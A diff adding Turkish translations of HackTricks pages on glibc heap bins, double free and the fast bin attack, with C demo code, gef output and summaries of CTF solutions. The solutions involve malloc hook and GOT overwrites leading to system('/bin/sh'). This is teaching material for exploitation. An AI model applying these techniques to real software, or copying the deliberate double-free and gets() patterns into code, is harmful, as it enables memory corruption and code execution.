+Büyük kovalar, bir tahsis için en iyi uyumu bulmak için **değişen parça boyutlarının listesinde sıralama ve arama yapmak zorunda olduklarından küçük kovalara göre daha yavaş çalışırlar**. Bir parça büyük bir kovaya eklendiğinde sıralanmak zorundadır ve bellek tahsis edildiğinde sistem doğru parçayı bulmak zorundadır. Bu ekstra iş onları **daha yavaş** yapar, ancak büyük tahsisler küçük olanlardan daha az yaygın olduğundan, bu kabul edilebilir bir takas olarak kabul edilir.
+
+Şunlar vardır:
+
+* 64B aralığında 32 kova (küçük kovalarla çakışır)
+* 512B aralığında 16 kova (küçük kovalarla çakışır)
+* 4096B aralığında 8 kova (kısmen küçük kovalarla çakışır)
+* 32768B aralığında 4 kova
+* 262144B aralığında 2 kova
+* Geriye kalan boyutlar için 1 kova
+
+<details>
+
+<summary>Büyük kova boyutları kodu</summary>
+```c
+// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
+
+#define largebin_index_32(sz)                                                \
+(((((unsigned long) (sz)) >> 6) <= 38) ?  56 + (((unsigned long) (sz)) >> 6) :\
+((((unsigned long) (sz)) >> 9) <= 20) ?  91 + (((unsigned long) (sz)) >> 9) :\
+((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
+((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
+((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
+126)
+
+#define largebin_index_32_big(sz)                                            \
+(((((unsigned long) (sz)) >> 6) <= 45) ?  49 + (((unsigned long) (sz)) >> 6) :\
+((((unsigned long) (sz)) >> 9) <= 20) ?  91 + (((unsigned long) (sz)) >> 9) :\
+((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
+((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
+((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
+126)
+
+// XXX It remains to be seen whether it is good to keep the widths of
+// XXX the buckets the same or whether it should be scaled by a factor
+// XXX of two as well.
+#define largebin_index_64(sz)                                                \
+(((((unsigned long) (sz)) >> 6) <= 48) ?  48 + (((unsigned long) (sz)) >> 6) :\
+((((unsigned long) (sz)) >> 9) <= 20) ?  91 + (((unsigned long) (sz)) >> 9) :\
+((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
+((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
+((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
+126)
+
+#define largebin_index(sz) \
+(SIZE_SZ == 8 ? largebin_index_64 (sz)                                     \
+: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz)                     \
+: largebin_index_32 (sz))
+```
+</details>
+
+<details>
+
+<summary>Büyük bir parça örneği ekle</summary>
+```c
+#include <stdlib.h>
+#include <stdio.h>
+
+int main(void)
+{
+char *chunks[2];
+
+chunks[0] = malloc(0x1500);
+chunks[1] = malloc(0x1500);
+free(chunks[0]);
+chunks[0] = malloc(0x2000);
+
+return 0;
+}
+```
+2 büyük tahsisat yapılır, sonra biri serbest bırakılır (bu, sırasız kutuya konulur) ve daha büyük bir tahsisat yapılır (serbest bırakılanı sırasız kutudan büyük kutuya taşır).
+
+Bunu derleyin ve ana işlevden dönen opkodunda bir kesme noktası ile hata ayıklayın. Sonra gef ile tcache kutusunun dolmasını ve büyük kutuda bir parçanın olmasını görebilirsiniz:
+```bash
+gef➤  heap bin
+──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
+All tcachebins are empty
+───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
+Fastbins[idx=0, size=0x20] 0x00
+Fastbins[idx=1, size=0x30] 0x00
+Fastbins[idx=2, size=0x40] 0x00
+Fastbins[idx=3, size=0x50] 0x00
+Fastbins[idx=4, size=0x60] 0x00
+Fastbins[idx=5, size=0x70] 0x00
+Fastbins[idx=6, size=0x80] 0x00
+─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
+[+] Found 0 chunks in unsorted bin.
+──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
+[+] Found 0 chunks in 0 small non-empty bins.
+──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
+[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
+→   Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+[+] Found 1 chunks in 1 large non-empty bins.
+```
+</details>
+
+### En Üst Parça
+```c
+// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
+
+/*
+Top
+
+The top-most available chunk (i.e., the one bordering the end of
+available memory) is treated specially. It is never included in
+any bin, is used only if no other chunk is available, and is
+released back to the system if it is very large (see
+M_TRIM_THRESHOLD).  Because top initially
+points to its own bin with initial zero size, thus forcing
+extension on the first malloc request, we avoid having any special
+code in malloc to check whether it even exists yet. But we still
+need to do so when getting memory from system, so we make
+initial_top treat the bin as a legal but unusable chunk during the
+interval between initialization and the first call to
+sysmalloc. (This is somewhat delicate, since it relies on
+the 2 preceding words to be zero during this interval as well.)
+*/
+
+/* Conveniently, the unsorted bin can be used as dummy top on first call */
+#define initial_top(M)              (unsorted_chunks (M))
+```
+Temelde, bu şu anda mevcut olan heap'i içeren bir parçadır. Bir malloc işlemi gerçekleştirildiğinde, kullanılacak boş bir parça yoksa, bu üst parça gerekli alanı vererek boyutunu azaltacaktır. Top Parça'nın işaretçisi `malloc_state` yapısında saklanır.
+
+Ayrıca, başlangıçta, sırasız parçayı üst parça olarak kullanmak mümkündür.
+
+<details>
+
+<summary>Üst Parça örneğini gözlemleyin</summary>
+```c
+#include <stdlib.h>
+#include <stdio.h>
+
+int main(void)
+{
+char *chunk;
+chunk = malloc(24);
+printf("Address of the chunk: %p\n", (void *)chunk);
+gets(chunk);
+return 0;
+}
+```
+Derleyip hata ayıkladıktan sonra main'in ret opcode'unda bir kesme noktası ile gördüm ki malloc, adresi `0xaaaaaaac12a0` döndürdü ve bunlar chunk'lar:
+```bash
+gef➤  heap chunks
+Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+[0x0000aaaaaaac1010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
+Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+[0x0000aaaaaaac12a0     41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00    AAAAAAA.........]
+Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+[0x0000aaaaaaac12c0     41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63    Address of the c]
+Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+[0x0000aaaaaaac16d0     41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00    AAAAAAA.........]
+Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  top chunk
+```
+Top chunk'ın `0xaaaaaaac1ae0` adresinde olduğu görülebilir. Bu, en son ayrılan chunk'ın `0xaaaaaaac12a0` adresinde ve `0x410` boyutunda olduğu için şaşırtıcı değil ve `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` olur.\
+Ayrıca, Top chunk'ın uzunluğu chunk başlığında da görülebilir:
+```bash
+gef➤  x/8wx 0xaaaaaaac1ae0 - 16
+0xaaaaaaac1ad0:	0x00000000	0x00000000	0x00020531	0x00000000
+0xaaaaaaac1ae0:	0x00000000	0x00000000	0x00000000	0x00000000
+```
+</details>
+
+### Son Hatırlatma
+
+malloc kullanıldığında ve bir parça bölündüğünde (örneğin bağlı olmayan listeden veya üst parçadan), bölünmüş parçanın geri kalanından oluşturulan parçaya Son Hatırlatma denir ve işaretçisi `malloc_state` yapısında saklanır.
+
+## Tahsis Akışı
+
+Şuna göz atın:
+
+{% content-ref url="heap-memory-functions/malloc-and-sysmalloc.md" %}
+[malloc-and-sysmalloc.md](heap-memory-functions/malloc-and-sysmalloc.md)
+{% endcontent-ref %}
+
+## Serbest Akışı
+
+Şuna göz atın:
+
+{% content-ref url="heap-memory-functions/free.md" %}
+[free.md](heap-memory-functions/free.md)
+{% endcontent-ref %}
+
+## Yığın Fonksiyonları Güvenlik Kontrolleri
+
+Yığında sıkça kullanılan fonksiyonlar tarafından gerçekleştirilen güvenlik kontrollerini kontrol edin:
+
+{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
+[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
+{% endcontent-ref %}
+
+## Referanslar
+
+* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
+* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
+* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions)
+* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>

binary-exploitation/libc-heap/double-free.md

@@ -0,0 +1,138 @@
+# Çift Serbest Bırakma
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+Bir bellek bloğunu birden fazla kez serbest bırakırsanız, tahsisatçının verilerini bozabilir ve saldırılara kapı aralayabilirsiniz. İşte nasıl gerçekleşir: Bir bellek bloğunu serbest bıraktığınızda, bu blok serbest bloklar listesine geri gider (örneğin "fastbin"). Aynı bloğu iki kez üst üste serbest bırakırsanız, tahsisatçı bunu algılar ve bir hata verir. Ancak **arada başka bir blok serbest bırakırsanız, çift serbest bırakma kontrolü atlatılır**, bu da bozulmaya neden olur.
+
+Şimdi, yeni bellek istediğinizde (`malloc` kullanarak), tahsisatçı size **iki kez serbest bırakılmış bir blok verebilir**. Bu, farklı iki işaretçinin aynı bellek konumuna işaret etmesine yol açabilir. Bir saldırgan bu işaretçilerden birini kontrol ederse, o belleğin içeriğini değiştirebilir, bu da güvenlik sorunlarına yol açabilir veya hatta kod yürütmesine izin verebilir.
+
+Örnek:
+```c
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+// Allocate memory for three chunks
+char *a = (char *)malloc(10);
+char *b = (char *)malloc(10);
+char *c = (char *)malloc(10);
+char *d = (char *)malloc(10);
+char *e = (char *)malloc(10);
+char *f = (char *)malloc(10);
+char *g = (char *)malloc(10);
+char *h = (char *)malloc(10);
+char *i = (char *)malloc(10);
+
+// Print initial memory addresses
+printf("Initial allocations:\n");
+printf("a: %p\n", (void *)a);
+printf("b: %p\n", (void *)b);
+printf("c: %p\n", (void *)c);
+printf("d: %p\n", (void *)d);
+printf("e: %p\n", (void *)e);
+printf("f: %p\n", (void *)f);
+printf("g: %p\n", (void *)g);
+printf("h: %p\n", (void *)h);
+printf("i: %p\n", (void *)i);
+
+// Fill tcache
+free(a);
+free(b);
+free(c);
+free(d);
+free(e);
+free(f);
+free(g);
+
+// Introduce double-free vulnerability in fast bin
+free(h);
+free(i);
+free(h);
+
+
+// Reallocate memory and print the addresses
+char *a1 = (char *)malloc(10);
+char *b1 = (char *)malloc(10);
+char *c1 = (char *)malloc(10);
+char *d1 = (char *)malloc(10);
+char *e1 = (char *)malloc(10);
+char *f1 = (char *)malloc(10);
+char *g1 = (char *)malloc(10);
+char *h1 = (char *)malloc(10);
+char *i1 = (char *)malloc(10);
+char *i2 = (char *)malloc(10);
+
+// Print initial memory addresses
+printf("After reallocations:\n");
+printf("a1: %p\n", (void *)a1);
+printf("b1: %p\n", (void *)b1);
+printf("c1: %p\n", (void *)c1);
+printf("d1: %p\n", (void *)d1);
+printf("e1: %p\n", (void *)e1);
+printf("f1: %p\n", (void *)f1);
+printf("g1: %p\n", (void *)g1);
+printf("h1: %p\n", (void *)h1);
+printf("i1: %p\n", (void *)i1);
+printf("i2: %p\n", (void *)i1);
+
+return 0;
+}
+```
+Bu örnekte, tcache'i birkaç serbest bırakılmış parça ile doldurduktan sonra **kod, önce parça `h`, sonra parça `i` ve ardından tekrar `h`'yi serbest bırakarak çift-serbest bırakma hatası oluşturur**. Bu, yeniden boyutlandırma sırasında örtüşen bellek adreslerini alabilme olasılığını açar, yani iki veya daha fazla işaretçi aynı bellek konumuna işaret edebilir. Bir işaretçi aracılığıyla veri manipüle etmek diğerini etkileyebilir, kritik bir güvenlik riski ve sömürü potansiyeli yaratabilir.
+
+Çalıştırıldığında, **`i1` ve `i2`'nin aynı adresi aldığına** dikkat edin:
+
+<pre><code>İlk tahsisler:
+a: 0xaaab0f0c22a0
+b: 0xaaab0f0c22c0
+c: 0xaaab0f0c22e0
+d: 0xaaab0f0c2300
+e: 0xaaab0f0c2320
+f: 0xaaab0f0c2340
+g: 0xaaab0f0c2360
+h: 0xaaab0f0c2380
+i: 0xaaab0f0c23a0
+Yeniden boyutlandırmalar sonrası:
+a1: 0xaaab0f0c2360
+b1: 0xaaab0f0c2340
+c1: 0xaaab0f0c2320
+d1: 0xaaab0f0c2300
+e1: 0xaaab0f0c22e0
+f1: 0xaaab0f0c22c0
+g1: 0xaaab0f0c22a0
+h1: 0xaaab0f0c2380
+<strong>i1: 0xaaab0f0c23a0
+</strong><strong>i2: 0xaaab0f0c23a0
+</strong></code></pre>
+
+## Referanslar
+
+* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
+
+</details>

binary-exploitation/libc-heap/fast-bin-attack.md

@@ -0,0 +1,174 @@
+# Hızlı Bin Saldırısı
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+Hızlı bin nedir hakkında daha fazla bilgi için bu sayfaya bakın:
+
+{% content-ref url="bins-and-memory-allocations.md" %}
+[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
+{% endcontent-ref %}
+
+Hızlı bin tek yönlü olduğundan diğer binalardan çok daha az korumaya sahiptir ve sadece **serbest bırakılan bir hızlı bin parçasındaki bir adresi değiştirmek**, daha sonra **herhangi bir bellek adresinde bir parça ayırmak için yeterlidir**.
+
+Özetle:
+
+{% code overflow="wrap" %}
+```c
+ptr0 = malloc(0x20);
+ptr1 = malloc(0x20);
+
+// Put them in fast bin (suppose tcache is full)
+free(ptr0)
+free(ptr1)
+
+// Use-after-free
+// Modify the address where the free chunk of ptr1 is pointing
+*ptr1 = (unsigned long)((char *)&<address>);
+
+ptr2 = malloc(0x20); // This will get ptr1
+ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
+```
+{% endcode %}
+
+Çok iyi açıklanmış bir kod içeren tam bir örneği [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html) adresinden bulabilirsiniz:
+```c
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+int main(void)
+{
+puts("Today we will be discussing a fastbin attack.");
+puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
+puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
+puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
+puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
+puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
+puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
+puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
+puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
+
+puts("Let's start, we will allocate three chunks of size 0x30\n");
+unsigned long *ptr0, *ptr1, *ptr2;
+
+ptr0 = malloc(0x30);
+ptr1 = malloc(0x30);
+ptr2 = malloc(0x30);
+
+printf("Chunk 0: %p\n", ptr0);
+printf("Chunk 1: %p\n", ptr1);
+printf("Chunk 2: %p\n\n", ptr2);
+
+
+printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
+
+int stackVar = 0x55;
+
+printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
+
+printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
+
+char *data0 = "00000000";
+char *data1 = "11111111";
+char *data2 = "22222222";
+
+memcpy(ptr0, data0, 0x8);
+memcpy(ptr1, data1, 0x8);
+memcpy(ptr2, data2, 0x8);
+
+printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
+
+printf("Chunk 0: %s\n", (char *)ptr0);
+printf("Chunk 1: %s\n", (char *)ptr1);
+printf("Chunk 2: %s\n\n", (char *)ptr2);
+
+printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
+
+free(ptr0);
+free(ptr1);
+free(ptr2);
+
+printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
+printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
+printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
+
+printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
+
+
+printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
+printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
+
+*ptr1 = (unsigned long)((char *)&stackVar);
+
+printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
+
+
+printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
+printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
+
+unsigned long *ptr3, *ptr4, *ptr5;
+
+ptr3 = malloc(0x30);
+ptr4 = malloc(0x30);
+ptr5 = malloc(0x30);
+
+printf("Chunk 3: %p\n", ptr3);
+printf("Chunk 4: %p\n", ptr4);
+printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
+
+printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
+}
+```
+{% hint style="danger" %}
+Eğer global değişken **`global_max_fast`**'in değeri büyük bir sayıyla üzerine yazılabilirse, bu daha büyük boyutlarda fast bin oluşturmayı mümkün kılar, bu da önceden mümkün olmayan senaryolarda fast bin saldırıları gerçekleştirmeye olanak tanır.
+{% endhint %}
+
+## Örnekler
+
+* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
+* Parçalar tahsis edilebilir, sonra bunlar serbest bırakılabilir, içerikleri okunabilir ve doldurulabilir (taşma açığıyla).
+* **Infoleak için parça birleştirme**: Teknik temelde taşmayı kötüye kullanarak sahte bir prev\_size oluşturmak ve bir önceki parçaların daha büyük bir parçanın içine konulmasını sağlamaktır, böylece başka bir parçayı içeren daha büyük bir parça tahsis edildiğinde, verilerini yazdırmak ve libc'nin bir adresini sızdırmak mümkün olur (main\_arena+88).
+* **Malloc hook üzerine yazma**: Bunun için ve önceki üst üste gelme durumunu kötüye kullanarak, aynı belleğe işaret eden 2 parçaya sahip olmak mümkündü. Dolayısıyla, bunları ikisini de serbest bırakarak (korumaları atlamak için araya başka bir parça serbest bırakma) aynı parçayı fast binde 2 kez elde etmek mümkün oldu. Sonra, adresi bir sonraki parçaya işaret edecek şekilde malloc\_hook'un biraz öncesine işaret edecek şekilde tekrar tahsis edilebilir (böylece malloc'un bir serbest boyut olduğunu düşündüğü bir tamsayıya işaret eder - başka bir atlatma), bunu tekrar tahsis edebilir ve ardından malloc hook adresini alacak başka bir parça tahsis edebilir.\
+Sonunda bir **one gadget** oraya yazıldı.
+* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
+* Bir heap taşması ve kullanıcı sonrası serbest bırakma ve çift serbest bırakma var çünkü bir parça serbest bırakıldığında işaretçileri tekrar kullanmak ve yeniden serbest bırakmak mümkündür
+* **Libc bilgi sızıntısı**: Sadece bazı parçaları serbest bırakın ve bunlar ana arena konumunun bir kısmına bir işaretçi alacaklar. Serbest bırakılan işaretçileri tekrar kullanabileceğiniz için bu adresi okuyun.
+* **Fast bin saldırısı**: Tahsis edilen tüm parçaların işaretçileri bir dizi içinde depolanır, bu nedenle birkaç fast bin parçasını serbest bırakabilir ve en sonuncusunda adresi bu işaretçi dizisinin biraz öncesine işaret edecek şekilde üzerine yazabiliriz. Sonra, aynı boyutta birkaç parça tahsis ederiz ve önce gerçek parçayı ve ardından işaretçi dizisini içeren sahte parçayı alırız. Şimdi bu tahsis işaretçilerini `free`'nin got adresine işaret etmek üzere üzerine yazabiliriz, böylece system'e işaret etmek için chunk 1 `"/bin/sh"` yazabiliriz ve ardından `chunk1`'i serbest bırakabiliriz, bu da `system("/bin/sh")`'yi çalıştıracaktır.
+* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
+* Bir 1B taşma kötüye kullanarak parçaları sıralanmamış binde birleştirme ve bir libc bilgi sızıntısı almak ve ardından malloc hook'u bir one gadget adresiyle üzerine yazmak için fast bin saldırısı gerçekleştiren başka bir örnek
+* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
+* Bir infoleak kötüye kullanarak sıralanmamış binde bir UAF ile libc adresi ve PIE adresi sızdırmak ve bu CTF'nin saldırısında, kontrol edilen parçaların işaretçilerinin bulunduğu yere bir parça tahsis etmek için fast bin saldırısı kullanıldı, böylece belirli işaretçileri üzerine yazmak ve GOT'ta bir one gadget yazmak mümkün oldu
+* Bir Fast Bin saldırısının bir sıralanmamış bin saldırısı aracılığıyla kötüye kullanıldığını bulabilirsiniz:
+* Hızlı bin saldırıları gerçekleştirmeden önce genellikle libc/heap adreslerini sızdırmak için sıralanmamış liste kötüye kullanılır (gerektiğinde).
+
+{% content-ref url="unsorted-bin-attack.md" %}
+[unsorted-bin-attack.md](unsorted-bin-attack.md)
+{% endcontent-ref %}
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
+
+</details>

binary-exploitation/libc-heap/heap-memory-functions/README.md

@@ -0,0 +1,17 @@
+# Yığın Bellek Fonksiyonları
+
+<details>
+
